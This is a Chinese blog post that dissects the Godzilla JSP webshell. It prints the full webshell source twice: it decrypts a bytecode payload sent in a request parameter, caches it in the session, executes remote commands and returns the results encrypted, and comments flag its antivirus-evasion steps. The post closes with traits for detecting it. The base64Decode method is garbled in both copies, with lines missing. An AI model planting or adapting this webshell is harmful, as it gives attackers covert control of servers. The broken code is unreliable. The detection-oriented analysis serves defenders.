前言:
这篇文章分析了哥斯拉jsp马的特征原理,写这篇文章的初衷在提高对哥斯拉马的识别、改造能力。
笔者接触安全的时间较短,难免会有疏漏,恳请发现问题的大佬给予指正。
哥斯拉PHP马解析可以看这篇文章:
https://blog.csdn.net/zeros__/article/details/111521314
正文:
贴一下哥斯拉的jsp马:
< % !String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[]cb) {
return super.defineClass(cb, 0, cb.length);
}
}
public byte[]x(byte[]s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {}
return ret;
}
public static String base64Encode(byte[]bs)throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String)Encoder.getClass().getMethod("encodeToString", new Class[]{
byte[].class
}).invoke(Encoder, new Object[]{
bs
});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", new Class[]{
byte[].class
}).invoke(Encoder, new Object[]{
bs
});
} catch (Exception e2) {}
}
return value;
}
public static byte[]base64Decode(String bs)throws Exception {
Class base64;
byte[]value = null;
try {
base64 = Class.forName("java.util.Base64");
bs
});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[]{
String.class
}).invoke(decoder, new Object[]{
bs
});
} catch (Exception e2) {}
}
return value;
}
% > < % try {
byte[]data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", new String(data));
Object f = ((Class)session.getAttribute("payload")).newInstance();
f.equals(pageContext);
response.getWriter().write(md5.substring(0, 16));
response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {}
% >
分析下每个方法的作用,每个方法的作用可以看备注:
< % !String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
class X extends ClassLoader { //继承ClassLoader类(继承类构造器)
public X(ClassLoader z) {
super(z); //调用ClassLoader的构造函数
}
public Class Q(byte[]cb) {
return super.defineClass(cb, 0, cb.length);// 把字节码转化为Class
}
}
public byte[]x(byte[]s, boolean m) { //对指定字符串进行AES加解密
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); //获取AES加密器
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); //指定加密器密钥,进行加解密
return c.doFinal(s); //返回加密后的字符串
} catch (Exception e) {
return null;
}
}
public static String md5(String s) { //某单向加密算法,根据某字符串返回唯一值
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {}
return ret;
}
public static String base64Encode(byte[]bs)throws Exception { //base64加密
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String)Encoder.getClass().getMethod("encodeToString", new Class[]{
byte[].class
}).invoke(Encoder, new Object[]{
bs
});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", new Class[]{
byte[].class
}).invoke(Encoder, new Object[]{
bs
});
} catch (Exception e2) {}
}
return value;
}
public static byte[]base64Decode(String bs)throws Exception { //base64解密
Class base64;
byte[]value = null;
try {
base64 = Class.forName("java.util.Base64");
bs
});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[]{
String.class
}).invoke(decoder, new Object[]{
bs
});
} catch (Exception e2) {}
}
return value;
}
% > < % try {
byte[]data = base64Decode(request.getParameter(pass)); //监听传参并解密
data = x(data, false); //解密荷载,远控命令
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data)); //将攻击荷载保存到session中
} else {
request.setAttribute("parameters", new String(data)); //将解密后远控命令转发给自己,储存在pageContext中(免杀1)
Object f = ((Class)session.getAttribute("payload")).newInstance();//将攻击荷载创建成class
f.equals(pageContext);//执行远控命令(免杀2)
response.getWriter().write(md5.substring(0, 16));//对传入的字符串加密后取前16位,输出在回显前(二次加密),其余的加在回显后面
response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));//通过f的toString()方法获取远控命令执行后的返回值,加密后输出给哥斯拉服务端
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {}
% >
接下来是分析过程:
木马一开始的class X是一个类构造器,用于将字符串格式的攻击荷载创建成类。
定义的x()方法用于AES加解密(划重点,带AES的木马不一定是冰蝎还有可能是哥斯拉)。
md5()用来根据指定字符串,生成加密后的字符串,生成后的字符串是无法解密的。在木马起到的功能是通过加密的方式完成服务端校验,以及对返回值的二次加密。
base64Encode()和base64Decode()两个方法本别用来进行base64加解密。
一行一行看存储、利用攻击荷载的部分:
byte[]data = base64Decode(request.getParameter(pass));
通过request.getParameter()方法监听通过http协议提交过来的数据,取出名为pass的变量(即该哥斯拉马对应的密码)的值,通过base64解密后存储到data中。
data = x(data, false);
二次解密攻击荷载/远控命令
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data)); //将攻击荷载保存到session中
如果session中应该保存攻击荷载的地方现在是空的,存储传入的字符串到session中(储存攻击荷载)。
request.setAttribute("parameters", new String(data));
通过request.setAttribute()方法转发解密后的请求给自己。之后执行远控代码时会使用重新接收的请求。这一步从代码层面上应该没有什么特殊意义,但是可以起到免杀的作用。
Object f = ((Class)session.getAttribute("payload")).newInstance();//将攻击荷载创建成class
从session中取出攻击荷载,用之前定义的类构造器X方法将字符串格式的攻击荷载转化成字符串格式。
f.equals(pageContext);
通过攻击荷载执行远控命令。
response.getWriter().write(md5.substring(0, 16));
通过自定义的MD5()方法加密传入的远控命令,取前16位放在返回值前面。这是因为返回值经过了bash64加密,所以可以通过在其前后都添加字符串的形式进行二次加密。如果不知道前后添加了多少字符串,就无法进行解密。
response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)))
通过f的toString()方法获取远控命令执行后的返回值,加密后输出给哥斯拉服务端
response.getWriter().write(md5.substring(16));
取上上行加密后剩下的部分,放在返回值的后面(二次加密)。
} catch (Exception e) {}
以上代码执行时忽略异常,执行失败不告警。
总结一下jsp哥斯拉的一些特征。
1)会调用javax.crypto.Cipher.getInstance()进行AES加密。加密时使用的盐值是固定好的。
2)可能会定义某单向加密算法,也可能直接使用MD5()或冰蝎加密。
3)攻击荷载存储在session中,会有一个向session存储荷载的步骤
4)会通过攻击荷载中的equals命令执行远控命令。
5)会在返回值前插入一个16位长的字符串。插入的字符串和传入的参数有关。
6)通过攻击荷载中的toString()获取执行结果。
以上几点涉及到了服务端的运行逻辑、应该在改造、变形木马时很难隐藏。